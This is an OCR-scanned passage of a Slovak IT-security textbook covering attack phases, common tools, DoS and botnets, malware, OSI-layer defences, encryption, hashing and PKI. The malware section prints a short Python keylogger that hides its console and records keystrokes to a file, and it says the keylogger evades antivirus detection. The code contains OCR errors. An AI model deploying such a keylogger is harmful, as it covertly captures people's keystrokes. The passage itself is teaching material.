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File Edit View Go Capture Analyze Statistics Help

8 e & 8 LhesdFL[EBE QaAlN EPEX O

Efilter: | ‘ ~ ][+Expression..4 :’glear Q/Apply]

No. . Time Source Destination Protocol | Info =
47 139.931463 ThomsonT_08:35: 4f Wistron_07:07:ee ARP 192.168.1.254 is at 00:90:d0:08:35:4f
48 139.931466 192.168.1.68 192.168.1.254 DNS Standard query A www.google.com =
49 139.975406 192.168.1.254 192.168.1.68 DNS Standard query response CNAME www.l.google.com A 66.102.9.99
S0 139.976811 192.168.1.68 66.102.9.99 TCP 62216 > http [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=2
S1 140.079578 66.102.9.99 192.168.1.68 TCP http > 62216 [SYN, ACK] Seq=0 Ack=1 Win=5720 Len=0 MSS=1430 |
52 140.079583 192.168.1.68 66.102.9.99 TCP 62216 > http [ACK] Seq=1 Ack=1 Win=65780 Len=0
53 140.080278 192.168.1.68 66.102.9.99 HTTP GET /complete/search?hl=en&client=suggest&js=true&qg=m&cp=1 H
54 140.086765 192.168.1.68 66.102.9.99 TCP 62216 > http [FIN, ACK] Seq=805 Ack=1 Win=65780 Len=0
S5 140.086921 192.168.1.68 66.102.9.99 TCP 62218 > http [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=2
56 140.197484 66.102.9.99 192.168.1.68 TCP http > 62216 [ACK] Seq=1 Ack=805 Win=7360 Len=0
S7 140.197777 66.102.9.99 192.168.1.68 TCP http > 62216 [FIN, ACK] Seq=1 Ack=806 Win=7360 Len=0
58 140.197811 192.168.1.68 66.102.9.99 TCP 62216 > http [ACK] Seq=806 Ack=2 Win=65780 Len=0 [
S0 1460 210216 &8 105 6 66 105 160 1 &0 Ten hittn =~ &9910 [EVAL AFK] Can—f Ack—1 LEn—S790 | an—n MCE—1420 1 7

)

P Frame 1 (42 bytes on wire, 42 bytes captured)
D Ethernet II, Src: Vmware_38:eb:0e (00:0c:29:38:eb:0e), Dst: Broadcast (ff:ff:ff:ff:ff:ff)
b Address Resolution Protocol (request)

oooo ff ff ff ff ff ff 00 0c 29 38 eb Oe 08 06 0O O1  ........ )8.. ...

0010 08 00 06 04 00 01 00 Oc 29 38 eb Oe cO a8 39 80  ........ )8....9.

0020 00 0O 0O 0O 00 00 cO® a8 39 02 L....... 9.

eth0: <live capture in progress=> Fil... = Packets: 445 Displayed: 445 Marked: 0 Profile: Default

Obrazok 6.3 — Wireshark

Zdroj [11]

Tieto nastroje sa vyuzivajd hlavne pri diagnostike sietovej komunikacie aanalyze, ako su
spracovavané pakety. Wireshark ma, na rozdiel od tcpdump-u, grafické rozhranie ¢o zjednodusuje
jeho pouzitie.

Faza 2: Testovanie

Po ziskani dostatocného mnoiZstva informacii o ciefovom systéme alebo infrastruktire nasleduje
testovanie. Testuje sa napriklad dostupnost a otvorenost IP adries a sietovych portov. Pri pozitivnhom
vysledku sa Utocénik pokusi otvorit komunikaciu na danom porte.

Zranitelnosti (CVE)

Na zdklade verejne dostupného zoznamu zranitelnosti (vulnerability, oznacované aj ako CVE) je
mozné zistit, aké chyby boli v danom systéme najdené v priebehu histérie.

Jednou z takychto databaz je napriklad NIST: https://nvd.nist.gov/

V pripade, Ze spravca systému neimplementoval bezpecnostnu zaplatu, systém je stale zranitelny
a chyba méze byt zneuzita dtocnikom.
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JIXCVE-2018-9054 Detail

Current Description

In Windows Master (aka Windows Optimization Master) 7.99.13.604, the driver file (WoptiHWDetect.SYS) allows local users to cause a denial of
service (BSOD) or possibly have unspecified other impact because of not validating input values from 10Ctl 0xf100284c.

Source: MITRE
Description Last Modified: 03/26/2018
+Vview Analysis Description

Impact
CVSS v3.0 Severity and Metrics: CVSS v2.0 Severity and Metrics:
Base Score: 7.8 HIGH Base Score: 6.1 MEDIUM
Vector: AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (V3 legend) Vector: (AV:L/AC:L/Au:N/C:P/I:P/A:C) (V2 legend)
Impact Score: 5.9 Impact Subscore: 8.5
Exploitability Score: 1.8 Exploitability Subscore: 3.9

Obrazok 6.4 - Ukazka evidencie zranitelnosti

Zdroj [11]

KedZe zranitelnosti aplikacii a systémov kazdym driom pribada, v praxi sa vyuZiva automatizované
testovanie. Na trhu existuje niekolko bezplatnych aj komerénych nastrojov, ktoré dokazu cely proces
testovania zranitelnosti zrychlit.

Automatizované ndstroje

Vyuzitim Specializovanych softvérovych nastrojov, urcenych pre penetracné testovanie, je moiné
otestovat niekolko desiatok systémov stcasne. Je k dispozicii velké mnoZstvo komerénych a open-
-source nastrojov tohto typu a vsetky tieto nastroje maju svoje vlastné silné a slabé stranky.

MetaSploit

Jednym z takychto nastrojov je aj MetaSploit, ktory je dostupny aj v open-source verzii. Sucastou
projektu je vyvojové prostredie (takzvany framework), kde je mozné vytvérat, testovat a spustat
skripty urcené pre testovanie zranitefnosti systémov.

Nmap

Nmap (Network mapper) je skener pocitacovej siete pévodne pouzZivany na objavovanie stanic
a sluzieb v pocitacovej sieti, ¢im vytvara mapu siete. Nastroj Nmap posiela Specidlne upravené pakety
ciefovému hostitelovi a potom analyzuje odpovede.

V sucasnosti aplikacia poskytuje mnozstvo funkcii pre skumanie pocitacovych sieti vratane
vyhladdvania hostitela a detekcie sluzieb aoperacného systému. Tieto funkcie sU rozsiritefné
o skripty, ktoré poskytuju pokrocilejsiu detekciu sluzieb, zranitefnosti a dalSich funkcii. Komunita
pouzivatefov Nmap-u nadalej tento nastroj vyvija a zdokonaluje.

Detailnejsie informacie o tomto nastroji su k dispozicii na webe:

Kali Linux
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Komunita hackerov a bezpecénostnych profesionalov vytvorila Linuxovu distribuciu, ktord obsahuje
balik vyse 400 nastrojov pre audit, penetracné testovanie a hackovanie systémov.

Distribucia je postavena na systéme Debian a je dostupna k stiahnutiu zdarma na webovej stranke:

Applications ¥ Places ¥

Favorites
- lceweasel

01 - Information Gathering
Terminator
02 - Vulnerability Analysis

03 - Web Application Analysis ' metasploit framework

04 - Database Assessment burpsuite

05 - Password Attacks
maltego
06 - Wireless Attacks
07 - Reverse Engineering
08 - Exploitation Tools
09 - Sniffing & Spoofing
10 - Post Exploitation
11 - Forensics
12 - Reporting Tools

13 - System Services

Usual applications

Obrazok 6.5 - Kali Linux

Zdroj [5]

Operacny systém obsahuje hromadu nastrojov rozdelenych do 13 hlavnych kategérii pre testovanie
aanalyzu  zranitefnosti,audit =~ webovych  aplikacii,forenzni  analyzu  systémov,reverzné
inZinierstvo,reportingové nastroje a mnoho iného.

Vo vyvoji je aj verzia pre ARM procesory, ¢o umozni nastroje pouzivat aj na mobilnych telefénoch
a tabletoch.

Faza 3: Ziskanie pristupu

Prva a druhd faza sa tykali ziskavania informacii o cielovom systéme. PostUpenim do tretej fazy sa
utoénik aktivne snazi o ziskanie pristupu do systému, ¢i poskodit systém, aby ho napriklad vyradil
z prevadzky a sposobil tym vypadok sluzby.

185



Utok na systém je mozné vykonat:

lokalne - z lokalnej siete, v ramci budovy a siete organizacie (Skola, firma),
vzdialene - cez internet z opacného konca sveta,
off-line - fyzicky pristup k zariadeniu, bez pristupu do lokalnej siete.

Spoofing

Jednou z ¢asto pouzZivanych technik pocas Utoku je takzvany spoofing, ¢o je predstieranie. Za
spoofing je povazovana napriklad zmena IP, pripadne MAC adresy. Takymto spésobom sa daju obist
jednoduché paketové filtre.

Ako prevencia takymto Utokom sa pouZiva anti-spoofing ochrana. Vadsina modernych
firewallovdokaze na zaklade insSpekcie paketov identifikovat, ¢i zdrojova adresa prichadza
z doveryhodného zdroja. Napriklad nova prichadzajuca komunikacia z externého rozhrania (B), by
nemala obsahovat ako zdrojovu adresu (192.168.33.0), ktora je pripojena cez vnutorny port (A).

Obrazok 6.6 - Spoofing — podvrhnutie

Zdroj [30]

DosS utok

Oznacenie DoS (denial-of-service) je skratkou pre utok, ktorého cielom je vycerpanie systémovych
prostriedkov zariadenia alebo systému, aby prestali poskytovat svoje sluzby.

Prejavom Uspesného Utoku mdzu byt:

nezvycajne pomalé otvaranie sietovych sdborov,

pomaly pristup na webové stranky,

nedostupnost konkrétnej webovej stranky,

neschopnost pristupovat k akejkolvek webovej stranke,

dramaticky ndrast poctu prijatych nevyZiadanych e-mailov (tento typ Utoku DoS sa povaZuje
za e-mailovi bombu),
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znefunkcnenie bezdrotového alebo kablového pripojenia k internetu,
dlhodobé zamietnutie pristupu na web alebo akukolvek internetovu sluzbu.

Pre vykonanie DoS utoku je na internete dostupné velké mnoZstvo nastrojov. Okrem iného sa tieto
nastroje daju vyuzit aj legdlnou cestou pre takzvané stres testovanie systémov. Tymto spbsobom sa
overuje odolnost systému voci DoS a DDoS Utokom.

DDoS

DDoS utok (distributed denial-of-service) je podobny ako DoS. Jedinym rozdielom je, Ze utok sa
vykonava z viacerychvzajomne nezavislych miest (Casto aj geograficky). Takyto Utok je narocnejsie
odhalit a zablokovat.

Pokial v Statistikach je vidiet, Ze jedna IP adresa si vyZiadala popis 1000 produktov e-shopu v rozsahu
5 sekund, je takmer isté, Ze sa jedna o Utok na systém, ktory je vedeny z tejto IP adresy. Naopak
pokial za 5 sekund si vyziada 1000 IP adries, popis pre 1000 produktov e-shopu, nemusi to byt nic
nezvycajné. Portaly ako E-bay alebo Amazon, musia takéto Ziadosti identifikovat sofistikovanej$im
spésobom.

Zariadenia, ktoré na systém Utocia, su zvycajne kontrolované jednym systémom, ktory ovlada
utocénik. Takato siet, takzvanych otrokov (slaves alebo zombies), sa oznacuje aj ako bot-net.

BOT-NET
T
UTOCNIK NAPADNUTY SYSTEM
T
e \\“

/'m

Obrazok 6.7 - BOT-net

Zdroj [31]

Malvér

Malvér je suhrnny nazov pre rozne typy Skodlivého kodu. Tento kod bol napisany za ucelom
poskodenia systému, kradeZe informdcii, ziskanie neopravneného pristupu do systému. Pod pojmom
malvér sa ukryvaju:

pocitacové virusy,
cervy,

tréjske kone,
ransomware,

187



spyware,
adware,

scareware,

a iné zamerne skodlivé programy.

Vytvorenie malvéru nie je komplikované. ZloZitd ¢ast tvorby malvéru je ndvrh kédu v takej podobe,
aby ho nedetegoval bezpecnostny softvér (antivirus, antimalware, a podobne). V praxi sa c¢asto stava,
Ze aplikacia obsahuje funkcionalitu, ktord je podobna funkcionalite malvéru. Napriklad vzdialena
aktualizacia, odosielanie zaznamovych suborov o funkénosti aplikacie. V taktom pripade méze byt
aplikacia chybne oznacdenda ako malvér. Mylné oznacenie softvéru za Skodlivy sa oznacuje
terminoldgiou FALSE-POSITIVE.

Riesenie tohto problému je napriklad digitdlne podpisanie aplikacie prostrednictvom certifikatov,
ktorym doveruje aj vyrobca operacného systému.

Pozrime sa na priklad keyloggeru napisaného v jazyku Python:
import win32api

import win32console

import win32gui

import pythoncom, pyHook

win=win32console.GetConsoleWindow()

win32gui.ShowWindow(win, @)

def OnKeyboardEvent(event):

if event.Ascii==5:
_exit(1)

if event.Ascii !=0 or 8:
f=open('c:\py\output.txt','r+")
buffer=f.read()
f.close()
f=open('c:\py\output.txt','w")
keylogs=chr(event.Ascii)
if event.Ascii==13:

keylogs="/n"

buffer+=keylogs
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f.write(buffer)

f.close()
hm=pyHook .HookManager ()
hm.KeyDown=0OnKeyboardEvent
hm.HookKeyboard()

pythoncom.PumpMessages()

Tento keylogger ma nula detekcii na portali Virustotal. Je potrebné pripomenut, Ze sa jedna iba
o demonstrancény priklad, ako je mozné nieco takéto vytvorit. Pouzitie vyZzaduje mat na cielovej
stanici nainstalované python prostredie, takzvany hooker modul, ktory zachytdva komunikaciu medzi
klavesnicou a systémom na nizkej Urovni. Manudlne spustenie skriptu cez python interpreter.

V praxi sa takéto aplikacie vytvaraju ako kniznice, webové skripty vykondvané na strane klienta,
pripadne ako neziaduce doplnky Standardnych aplikacii.

iIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII

= TIP!

Spravnost oznacenia kédu ako skodlivy sa da overit prostrednictvom portéalu VirusTotal.com.
Portdl Virustotal poskytuje bezplatné online sluzby detekcii malvéru a iného Skodlivého kédu.

Cez webové rozhranie nahrajete sibor do systému. Na pozadi sa spusti testovanie suboru
softvérom na detekciu Skodlivého kddu od 60 svetovych vyrobcov.

\ Analyzing...

c039cea27cd76ddcf04e31a78fed7782bf5862ff5ed45589880e5f0d8646e9a8 590.48 KB 2019-07-20 23:36:41 UTC
2.6.png -

Obrazok 6.8 VirusTotal

Zdroj [5]

Velkou vyhodou tejto sluzby je ziskanie pomerne detailného vystupu o hodnoteni kddu velkymi
spolo¢nostami ako si AVG, ESET, McAfee ainé. Vystup testov taktiez informuje o nazvoch
malware, na ktoré sa podoba analyzovany kdd. Z toho je mozné usudit, aké operacie, ktoré kéd
vykonava, st oznacené ako najviac problémové.

Tymto spdsobom sa da predchadzat problémom pri nasadeni softvérovych aplikacii do
komercénej prevadzky. Pokial nebolo ciefom vytvorit malvér, naprava chyb aspravania sa
aplikacie je pomerne ¢asovo naroc¢na. Zmeny casto vyzaduju aj zasah do architektury aplikacie.

Fdza 4: UdrZanie pristupu
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Ked' Utocnik ziska pristup k cielovému systému, zvycajne vyZaduje, aby mal neustaly pristup alebo
kontrolu nad systémom, pripadne zariadenim. Prave tuto moznost mu zabezpecuju takzvané
backdoors (zadné vratka), pripadne trojany (trojske kone), ktoré umoznuju tajne komunikovat so
systémom bez vedomia majitela systému alebo zariadenia.

Utoénik, mdze chciet napadnuty systém pouzivat pre dalsie $irenie nadkazy, pripadne pre dalsie
hackovanie z vnutornej siete. Pre komunikaciu v ramci vnutornej siete su zvycajne aplikované menej
prisne bezpecnostné pravidla. Jednou z praktik ako zaistit takéto moznosti je:

otvorenie sietovych portov,

inStalacia malvéru do systému,

vytvorenie Sifrovanych tunelov pre komunikaciu z externych sieti,
tajné odosielanie dat vratane priloh na externy server.

Fdza 5: Zahladenie stép

Po napadnuti systému a ziskani kontroly je zvycajne vyZadované, aby tento Utok ostal nepovSimnuty.
V mnohych pripadoch sa odstrafiujud informacie, ktoré by mali pomdct k detekcii napadnutia systému
a odhaleniu vinnika. Je to nieCo podobné ako vymazanie histdrie v prehliadaci, kde sa utocnik snazi
zamaskovat webové stranky, ktoré navstivil za poslednych 24 hodin.

6.6 Ochrana proti utokom

V komercénej praxi sa najviac osvedcil koncept viacvrstvovej ochrany, ktory sa prirovnava k cibuli.
Podobne ako cibula, ktord ma niekolko vrstiev chraniacich jadro aj v pripade IT bezpecnosti sa
odporucda pre jednotlivé vrstvy OSI modelu aplikovat réznorodé bezpecénostné opatrenia.

Ulohou vrstiev je spomalit a skomplikovat postup Gtocnika. V niektorych pripadoch moze spravne
nastavena vrstva posobit na Utoénika odradzujico a bude si hladat jednoduchsi ciel.
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data vrstva

Y Aplikaéné h
Data sietovy proces aplikacii
o AN J
S, Y Prezentaéna h
o Data reprezentacia dat
0 < \_ A a kryptovanie )
S ( . Y Relatna A
7 Data komunikécia
; _ AL medzi strojmi )
( Y Transportna )
Segmenty End-to-end spojenia
- AN AL a spolahlivost )
1 Y Sietova A
o Pakety uréovanie cesty a
-_6 \_ LA logicke adresovanie (IP) J
g oy Y Spojova )
< Ramce fyzické adresovanie
S \_ A (MAC a LLC) )
Z Y Fyzicka )
> Bity médium, signal,
L1 A binarny prenos 4

Obrazok 6.9 — OSI model

Zdroj [8]

Fyzicka vrstva (Physical Layer)

Tato vrstva definuje technické a fyzické Specifikacie datového pripojenia a zodpoveda za fyzicku
komunikaciu medzi ré6znymi koncovymi stanicami. Pristup Utoénika k médiu, kabeldzi moze ohrozit
bezpecnost sietovej komunikacie.

Ochrana tejto vrstvy zvycajne zahfna bezpecnostnu kontrolu a evidenciu pristupu, zamky, dvere a iné
ochranné prvky fyzického prostredia. Komplikacia nastava v pripade bezdrotového média (WiFi,
BlueTooth, ZigBee). Aj tu vsak mdzeme vyuzit Specidlne natery pre zabranenie Sirenia signdlu mimo
vymedzeny priestor.

Spojova vrstva (Data Link Layer)

Vrstva zahfria datové pakety, ktoré maju byt transportované fyzickou vrstvou. Poruchy a chyby na
tomto mieste mdzu branit funkcii sietovej vrstvy (tretia vrstva v hierarchii). Zranitelné miesta v tejto
vrstve mdzu zahfniat spoofing MAC adries a obchadzanie VLAN.

Bezné metddy na ochranu zahfnaju filtrovanie MAC adries, blokovanie portov na switchoch
a vyhodnocovanie bezdrotovych aplikacii, ktoré zabezpecuju, Ze maju zabudované Sifrovanie
a autentifikaciu.
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Sietovd vrstva (Network Layer)

Tretia vrstva je poslednd, ktora zaistuje komunikaciu sfyzickym/redlnym svetom a slvisi
s adresovanim, smerovaném a riadenim dat. Medzi ¢asté Utoky na siet patri takzvany IP spoofing, kde
sa Utocnik snazi pozmenit IP adresu zdrojovej stanice a ziskat tak neopravneny pristup do siete.

Protiopatrenim je posilnenie kontroly komunikacie sietovej vrstvy. To je zaistené pomocou filtrovania
komunikacie firewallom.

Transportnda vrstva (Transport Layer)

Ucelom transportnej vrstvy je zaistovat prenos dat medzi koncovymi pouZivatelmi. Transportnd
vrstva ma na starosti spolahlivost daného spojenia. Niektoré protokoly su stavové a spojovo
orientované. Znamena to, ze transportna vrstva dokaze sledovat a vyZiadat opakované posielanie
paketov, ktoré neboli spravne dorucené. Najznamejsim prikladom protokolu 4. vrstvy je TCP a UDP.

Pre zaistenie bezpecnosti tejto vrstvy a zamedzeniu jej zneufZitia, je vhodna implementacia brany
firewall. Obmedzenie pristupu k prenosovym protokolom ainformacidm o pouzivanych sietovych
sluzbach (t.j. - ¢islo portu TCP/UDP) je prvoradé pre bezpecnost komunikacie.

Relacna vrstva (Session Layer)

Vrstva, ktorad zaistuje vytvorenie, spravu a ukoncenie komunikaéného kanalu, medzi lokalnou
a vzdialenoou stranou. Tato vrstva vytvara a spravuje TCP/IP komunikaéné relécie.

Najlep$im spdsobom zabezpecenia vrstvy je pouzit Sifrovand komunikaciu, nasadenie detekénych
a prevencnych systémov (oznacované aj ako IDS a IPS), ktoré sleduju ¢i je komunikacia otvarand, ako
dlho trv4, zdrojové a cielové adresy, akym sp6sobom sa ukoncuje a podobne.

Prezentacna vrstva (Presentation Layer)

Zodpovedna za organizaciu dat prendsanych z aplikacnej vrstvy do siete. Vrstva Standardizuje data do
a z roznych miestnych formatov pomocou réznych schém konverzii.

Zabezpecenie tejto vrstvy sa robi pomocou oddelenia, filtrovania a Upravy pouzivatelskych vstupov.

Aplikacna vrstva (Application Layer)

Poskytuje sluzby pouzivatelskému rozhraniu aplikacie. Je to najblizSia vrstva modelu OSI ku

.....

cela aplikacia manipulovand, data pouzivatelov mozu byt odcudzené.

NajcastejSie su zneuZivané chyby v aplikaciach, nedostatky v navrhu architektury aplikacie. Pre
zaistenie bezpecnosti na aplikacnej vrstve je potrebny bezpecny kdd aplikacie. Pre tento ucel bolo
vytvorenych niekolko metodoldgii, napriklad - SDLC, r6zne typy testovania s podobne.

Z pohladu konkrétneho navrhu viacvrstvového modelu ochrany proti itokom na siet, infrastruktdru
¢i loT zariadenie je potrebné poznat odpovede na nasledujlce otazky:

Co chrénit?
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Pred kym sa chranit?
Ako sa chranit?

Ako zistit, Ze na zariadenie (pripadne systém) bol vykonany utok?

Tento pristup vyuziva koncept modelovania hrozieb. Modelovanie hrozieb je pristupom k analyze
bezpecnosti aplikacie alebo systému. Je to Struktlrovany pristup, ktory umozriuje identifikovat,
kvantifikovat (vyjadrit na stupnici) a zniZit resp. odstranit bezpecnostné rizika spojené s aplikaciou ¢i
systémom.

6.7 Sifrovanie

Sifrovanie je Uprava spravy pred jej odoslanim do takej formy, aby bola ¢itatelna len pre odosielatela
a prijimatela, ale nie pre inych ludi, pripadne zariadenia, ktoré maju pristup ku komunikacnému
kanalu.

Sifrovanie sa vykonava pomocou $ifrovacieho klGéa a Sifrovacieho algoritmu. Sifrovaci algoritmus je
postup, pomocou ktorého pretransformujeme spravu z &itatelnej do necitatelnej podoby. Sifrovaci
kfuc je parameter (skupina znakov), ktory vstupuje do Sifrovacieho algoritmu a od neho sa odvija, ako
bude algoritmus nahradzovat resp. premiesavat Gdaje v sprave, ¢im sa stane sprava neditatelna.

Podla toho, kolko klti¢ov sa pouziva pri Sifrovani a desifrovani sprav, delime Sifrovanie na:

symetrické - na Sifrovanie a desifrovanie sprdv sa pouziva rovnaky klug,
asymetrické - na Sifrovanie sa pouZiva jeden klti¢ a na desifrovanie druhy kluc.

Symetrické Sifrovanie

Symetricka sifra pouziva pre zasifrovanie aj desifrovanie dat rovnaky klt¢. Hlavnym problémom je
bezpecny prenos Sifrovacich kli¢ov medzi odosielatefom a prijemcom. Pokial komunikuju cez
nezabezpedeny kanal, ktory moze byt odpocuvany, posielanie Sifrovacich klicov cez tento kanal nie
je bezpecné.

=0 =0

Ahoj! - Fx@u2 Ahoj!
Sifrovanie DeSifrovanie

-;- = ()

Obrazok 6.10 - Symetrické Sifrovanie

Zdroj [32]

Symetrické Sifry delime na:

transpozicné - zasifrovana sprava obsahuje rovnaké znaky ako pévodna sprdva, no znaky
maju inu poziciu (napr. sprava napisana odzadu),

193



sSubstitucné - zasifrovand sprava obsahuje iné znaky ako sprdva pévodnd (napr. kazdé
pismeno posunieme o 3 miesta, t.j. A->D,B->E, C->F,..),
hybridné - si kombindciou transpozi¢nych a substitucnych Sifier.

Systém symetrického Sifrovania obsahuje 5 zakladnych komponentov:

otvoreny text(tzv. plain text)—je to pévodné zrozumitelné hlasenie alebo data, ktoré su
privadzané algoritmu ako vstup,

Sifrovaci algoritmus - Sifrovaci algoritmus vykonava rozne substitlicie a permutacie nad
vstupnym textom,

tajny klac-ide odruhy vstup do Sifrovacieho algoritmu. Presné vykonané nahrady
a permutdacie zavisia od klUda, algoritmus bude produkovat v zavislosti na konkrétnom kludi,
ktory bol pouzity vdanom case,iny vystup,

sifrovana sprdva - sprdva, ktord je produkovana ako vystup algoritmu,

desifrovaci algoritmus - reverzny algoritmus k Sifrovaciemu algoritmu. Jeho ulohou je ziskat
zrozumitelny text zo Sifrovanej spravy.

Asymetrické sifrovanie

U asymetrickych Sifier odpada problém prenosu Sifrovacieho kluca, pretoZze na Sifrovanie
a desifrovanie sa pouziva klucovy par. Jeden kli¢ na zasifrovanie spravy a druhy na desifrovanie.
Jednotlivé operacie Sifrovania a deSifrovania su zamenitelné, preto sa pri asymetrickom Sifrovani

namiesto Sifrovacich klti¢ov hovori o privatnom a verejnom klUci.

e=() e ()

Ahoj! N Yg#rn; Ahoj!
Sifrovanie Desifrovanie

w < Prenos verejného kluca

&4

Obrazok 6.11 - Asymetrické Sifrovanie
Zdroj [32]

v

Verejny klu¢ - méze byt zdielany so vsetkymi. Vo vieobecnosti sa pouZiva na nasledujuce Gcely:

poskytnut opravnenia na autentifikaciu (umoznit pristup pre niekoho),
skontrolovat, kto podpisal dokument,
Sifrovat spravy, ktoré su adresované iba vlastnikovi certifikatu.

Privatny klI'G¢ by mal byt uchovavany v tajnosti a v Ziadnom pripade by nemal byt zdielany alebo
odhaleny nikomu (dokonca ani banke, alebo spravcovi siete). MbZe sa pouzit na identifikaciu
vlastnika certifikatu, napriklad v tychto situdaciach:
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autentifikacia vlastnej osoby (dokazat, Zze osoba je skutoéne tou, za ktoru sa vydava),
podpisovanie dokumentov,
desifrovanie sprav, ktoré boli zasifrované verejnym kfucom.

MIGFfMAOGCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCqGKuk01De7zhZj6+HOqtjTkVxwTCpvKe4eCZO
FPqriocb23zfXJ/DgYSF6vUpwmlG8wVQZKjeGcjDOL5UlsuusFncCzWBQ7RKNUSesmQRMSGkVb1l/

3j+skZ6UtW+5u@91HNsj6tQ51s1SPrCBkedbNfOTpOGbMIDYR4e9T04ZZwIDAQAB

Vyhodou asymetrického Sifrovania je odstranenie problému bezpecného prenosu kltucov. Za
nevyhodu je povazovana rychlost Sifrovacieho procesu, ktora je horsia nez u symetrickych Sifier.

Hashovanie

Jednym z moZnych problémov pri zabezpeceni prenosu dat je aj moZzna zmena dat utocnikom.
Utoénik by mohol pozmenit informdciu o prevode pefiazi na iny cielovy Uéet, nez bolo povodne
v sprave uvedené.

Aby sa zistilo, ¢i data neboli po ceste zmenené, pouZivaju sa hash funkcie. Hash funkcia je
jednosmerna matematickd funkcia, ktora pre vstupny retazec fubovolnej dizky vygeneruje vystupny
retazec pevnej dizky a to tak, ze akdkolvek zmena vstupného retazca (napriklad aj jedného znaku) ma
za nasledok zmenu vystupného retazca.

Ahoj!

\

Hashovanie

\

327ad8f91c...

Obrazok 6.12 — Hashovanie

Zdroj [32]

U kryptografického hashu je poZadovany takzvany lavinovy efekt (tzv. avalanche effect), ktory
sposobi, Ze aj pri drobnej Uprave vstupu sa zmeni aspon polovica vystupu.
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" Hash | | BAEFBOGC 426E07A0
function —™ ABT1ALE2 488B4858
| funetion | D694AT30

" Hash | |EL93A0LE CF8D30AD

001 function — OAFFEFD3 32CE934E
| function | | 32FFCE72

~Hash | |47AB9979 443FB7ED

010 function — 1C193D06 773333BA
7876094F

Obrazok 6.13 - Lavinovy efekt

Zdroj [32]

Funkcia vygeneruje na vystupe retazec vidy rovnakej di?ky. Znamend to, 7e funkcia vygeneruje
rovnako dlhy vystupny retazec pre akykolvek vstup. Teda retazec o velkosti 1 bajt aj 500 megabajtov
bude mat vidy rovnako dlhy vystupny retazec. Najéastejéie sa pouZivaju vystupné retazce o dizke
128bitov, 256bitov alebo 512bitov.

To, Ze funkcia oznacena ako jednosmerna znamena, Ze z vystupného retazca nie je mozné spitne
ziskat vstupny retazec. Ak by to bolo mozné, ziskali by sme najlepsi kompresny algoritmus na svete,
pretoZe z 20GB stboru by bolo moiné dostat retazec dizky 512B a z neho spatne ziskat povodny
20GB retazec.

Vystupny retazec hash funkcie nazyvame aj digitdlny odtlacok (anglicky oznacovany ako tzv.
fingerprint). Samotné algoritmy pre generovanie digitalnych odtlackov si dobre zndme a v suicasnosti
sa pouzivaju najma algoritmy MDS5, SHA-1 a SHA-512.

Algoritmy MD5 a SHA-1 sa uZ nepovazuju za bezpecné, kedZe boli najdené takzvané hash kolizie (tzv.
hash collision) a bol na ne zrealizovany Utok najdenia vzoru. Hash kolizia je situacia, kedy dva vstupy
vyprodukovali rovnaky hash. Utok ndjdenim vzoru spociva v prehladani slovnika so vstupnymi
retazcami a ich hash vzormi, pricom pri najdeni vzoru si v slovniku vieme pozriet prislusny vstupny
retazec.

Hash sa okrem iného pouziva aj pre zaistenie integrity dat prenasanych cez nezabezpecend siet. Ako
teda mozeme overit integritu prenasanych dat po internete? Na zaciatku prenosu pred odoslanim
dat vygenerujeme digitdlny odtlacok prendsanych dat a posleme ho spolu s datami do cielového
zariadenia.

Vyrobca zverejni instalacny balik. Stcasne sa s balikom zverejni aj hash vystup instalatora. Pre
overenie, Ze instalator je skutocne od vyrobcu, si po stiahnuti inStalacného balika vygenerujeme hash
a vystup porovname s tym, ktory je zverejneny na strankach vyrobcu.

Dal$im vyuZitim hashovania je odtlacok dat v posielanej sprave. Odosielajtca strana si vypocita hash
spravy a posle ho prijemcovi spolu so spravou. Prijemca si taktieZ vypocita hash spravy a porovna ho
s prijatym odtlackom. Ak odtlacky suhlasia, retazec sa preniesol spravne. Ak nie, prenesené data boli
upravené alebo nespriavne dorudené aje nutné ich poslat znova. Podobny princip zaistovania
integrity dat s pomocou hashu sa vyuziva pri Bitcoine.

196



6.8 Infrastruktura verejného kluca (PKl)

PKI je oznacenie pre infrastruktiru verejného klic¢a. Pod tymto pojmom sa ukryva sada
hardvérovych, softvérovych a persondlnych zdrojov, politik a procedur potrebnych pre vydavanie,
spravu, distribuciu, pouZitie, uloZenie a zneplatnenie elektronickych certifikatov.

Tento model umozniuje pouZivatelom internetu ainych verejnych sieti zapojit sa do bezpecnej
komunikacie, vymeny dat aprevodu penazi. Takadto zabezpecend komunikacia sa vykonava
prostrednictvom verejnych a sukromnych kryptografickych parov klticov, ktoré poskytuje certifikacna
autorita.

Na PKI je postaveny aj systém elektronickych obcianskych preukazov, ktoré su zavedené na Slovensku
od roku 2013.

Obrazok 6.14 - Elektronicky obciansky preukaz

Zdroj [33]

Jednou z hlavnych vyziev elektronickej komunikacie je overenie identity druhej strany. Na internete
je mnoho utoénikov, ktori sa snaZzia neopravnene ziskat pristup ksikromnym informaciam.
Bezpectna vymena informdcii medzi dvoma doveryhodnymi stranami je zasadny problém, ktory sa PKI
snazi vyriesit.
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Ako si mbéZem byt isty, Ahoj, ja som Peter

Ze si skutocne Peter?

Koncept PKI priddva do komunikacie tretiu stranu, ktorda vystupuje ako doveryhodny partner —
takzvana autorita. Tento partner istym sp6sobom dosveddi, Ze identita druhej strany je skutocna.
V pripade komunikacie s vyuzitim elektronickych obéianskych preukazov to moze byt $tat, ktory vydal
konkrétnej osobe elektronicky obciansky preukaz s certifikitom. Nasledne sa osoba vie tymto
preukazom identifikovat a preukazat pravost svojej identity.

Obrazok 6.15 - Nedovera v identitu druhej strany

Zdroj [5]

Prosim, pozri si moj obciansky

Dakujem, déverujem tvojmu
preukaz vydany Statom.

preukazu. Verim, Ze si Peter.

h Preukaz j——

Vydavatel (5tat)

Obrazok 6.16 - Overenie identity druhej strany

Zdroj [5]

Autorita

V infrastrukture PKI vystupuju dve nezavisle autority:

certifikacna autorita (CA) — vydava certifikaty,
registracna autorita (RA)— identifikuje vlastnika certifikatu.
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V praxi mbze byt oboma tymito autoritami jeden subjekt. PKI dokaze zviazat sadu asymetrickych
kfuCov (verejny a privatny) s prislusnou identitou pouzivatela s vyuZitim certifikacnej autority.
Identita pouzivatela musi byt jedine¢na v ramci kazdej domény podliehajlcej certifikacnej autorite.
Zviazanie prebehne pomocou procesu registracie identity (RA) a vydania certifikatu (CA), ktory je
